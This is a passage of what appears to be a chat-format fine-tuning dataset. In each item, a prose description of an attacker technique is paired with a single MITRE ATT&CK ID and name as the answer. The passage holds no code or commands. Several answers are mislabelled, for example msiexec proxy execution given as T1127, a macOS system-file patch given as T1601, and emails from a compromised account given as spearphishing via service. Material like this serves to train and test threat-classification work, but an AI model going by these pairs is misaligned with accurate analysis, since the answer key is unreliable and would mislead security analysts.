            {
                "role": "user",
                "content": "An infected host sends periodic heartbeats to the attacker’s server via TCP port 9999, which is outside the range of normal service ports."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a post‑exploitation phase, the intrusion set changes the system PATH to point to a folder they control, intercepting execution flow of subsequent processes."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages the “Trusted Developer Utilities” feature to bypass code signing enforcement."
            },
            {
                "role": "assistant",
                "content": "T1574 - Hijack Execution Flow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During lateral movement, the attacker queried Active Directory for computers with shared drives to target for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses a script to dump authentication cookies and bearer tokens from the memory of a compromised server process."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool disables the Event Collector (Wecsvc) service to stop forwarding security events."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious patch is applied to the macOS system volume to replace legitimate system files with compromised ones."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a misconfigured IAM role to change the settings of cloud compute resources, altering instance tags for command and control."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious executable queries the BIOS timestamp and compares it to the current time, proceeding only if the difference is greater than 10 minutes to evade virtual machine analysis."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploits vulnerable SMBv1 servers to execute code on neighboring systems."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exfiltrates a web application's configuration file that contains hard‑coded database usernames and passwords."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs WMI to execute a command that creates a local account and disables the original admin account."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses PowerShell to download and execute a payload from a remote server."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor employs compromised service accounts to access shared resources across the domain."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑criminal leverages VBA stomping to delete benign macro code and inject harmful scripts, masking the attack as part of the document's normal functionality."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group deploys a script that enumerates and copies PST files from user profiles to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs a remote code execution exploit to change the domain controller's authentication settings, facilitating unauthorized logins."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script uses the \"format\" command with the \"/fs:NTFS\" and \"/p:1\" options to completely erase the disk's structure on Windows systems."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses search engines and WHOIS lookups to discover open websites and domains related to the target."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs Odbcconf.exe to create a malicious ODBC driver entry, achieving code execution via a system binary proxy."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group uses a legitimate installer wrapper that encrypts the payload and only decrypts it in memory."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor utilizes reflective code loading to sideload a secondary payload into a trusted system service."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a domain service account to run malicious services."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware writes a systemd timer to /etc/systemd/system/ and configures it to run a PowerShell command daily."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a known vulnerability in the SMTP authentication module to bypass login controls."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the legitimate Windows utility InstallUtil, the intruder proxies the execution of a malicious payload to evade detection by endpoint security tools."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops and starts a hidden TightVNC service to allow the attacker to interact with the host remotely."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors employ the Windows Installer (msiexec.exe) as a proxy to execute their payload, taking advantage of its trusted status."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious app on a victim's smartphone requests and logs TOTP codes, then forwards them to the attacker for account takeover."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary compromises the company's internal image build pipeline, inserting a covert module into built images before distribution."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers manipulate the Active Setup keys to launch a RAT executable with elevated privileges every time a new user profile is created."
            },
            {
                "role": "assistant",
                "content": "T1547.014 - Boot or Logon Autostart Execution: Active Setup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a malicious link in a chat application that points to an executable disguised as an image, leading to user‑initiated execution of malware."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor employs Mavinject to attach a backdoor payload DLL to the explorer.exe process, achieving persistence through system binary proxy execution."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Payload includes a VNC server that starts on system boot, granting continuous remote access to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious group performs reconnaissance by searching the victim's corporate blog and forum posts for hints about the technology stack used."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a cloud storage API, configuring the maximum upload size to 128 KB to evade monitoring."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised WordPress plugin, the adversary installs a PHP web shell for persistent command execution."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary edits a JSON configuration file to change the behavior of a web service."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor captures video of the user's webcam using the built-in camera API."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses LDAP queries against the local directory to discover group memberships."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary deploys a disguised screensaver program that runs a reverse shell whenever the display lock is triggered."
            },
            {
                "role": "assistant",
                "content": "T1546.002 - Event Triggered Execution: Screensaver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a misconfigured sudoers file to run commands as root without a password."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan executes a WMI query for the Win32_BIOS class to look for manufacturer strings that indicate a virtual machine, such as 'VMware, Inc.'."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries WHOIS databases for the victim's domain to enumerate registrar contact details and domain creation dates."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors performed a code signing abuse by requesting a code signing certificate using false documentation, then used it to sign ransomware payloads."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a malicious disk image, writes it over the legitimate one, and restarts the host to gain control."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries accessed the victim's Google Drive using compromised OAuth tokens and downloaded confidential documents to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential dumping from compromised systems"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a compromised legitimate email account to send specially crafted emails that contain command instructions for the infected host."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dynamic resolution of DNS records is used to fetch the IP of a remote server whose address changes frequently."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code reads the system's ARP cache to discover local network devices."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary captures password hashes from a compromised server and uses them to authenticate to SQL Server instances via the 'runas' command."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker establishes a one-way trust from the victim domain to a controlled domain for covert data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged Windows Remote Management (WinRM) over port 5985 to execute a PowerShell payload on multiple domain-joined servers."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder replaces the firmware of a USB peripheral with malicious code, causing the device to replicate malware onto any host it interfaces with."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using social engineering, the attacker called targets pretending to be IT support and recorded the victims' employee IDs and office locations."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a vulnerable video driver to capture screenshots and video from the target's camera."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary intercepts TLS handshakes and forces the client to downgrade to a weak cipher suite, such as RC4, allowing decryption of traffic."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload verifies the presence of a unique registry key tied to a specific corporate computer name before it proceeds with execution."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers stole signing credentials from a software vendor and used them to sign a polluted version of the product, making it appear authentic to users."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a malicious script injected into a popular browser extension to capture and forward Instagram access tokens."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the adversary altered the Access Control List of key executables using the cacls.exe tool."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses advanced web‑search operators to find the victim's subsidiary sites, then scrapes employee directories for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators employ a port knocking scheme where a client must connect to ports 4000, 5000, and 6000 in order, causing the firewall to dynamically open port 8080 for the attacker."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor used the 'net group' command to add a new privileged group to the domain policy for persistence."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exploits a known vulnerability in the Windows Installer service to install a malicious component with elevated privileges, avoiding UAC."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group tampers with the OAuth token issuance endpoint, granting themselves elevated permissions in both Office 365 and on‑prem AD."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker traverses the proc filesystem, reading /proc/[pid]/maps and /proc/[pid]/mem of privileged daemons to extract credential material such as password hashes and SSH keys."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware configures an external proxy service to hide its command-and-control traffic from detection."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor clears network share mounts and associated credentials to obscure the attack path."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the KernelCallbackTable function pointers to hijack the execution flow and run malicious payloads with kernel privileges."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies proxy settings on a workstation to point to an attacker-controlled proxy, enabling stealthy data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary creates a malicious HTML document with hidden JavaScript that uses the eval function to decode and run a malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker launches a UDP packet storm directed at a custom application listening on a non‑standard port, saturating its processing queue."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Use of double extensions to bypass file type restrictions on Windows, like \"report.docx.bat\"."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses NAT traversal techniques such as relay servers and ICE to maintain connectivity with its C2 despite being behind a home router."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan harvests the contents of the Recycle Bin to find recently deleted documents."
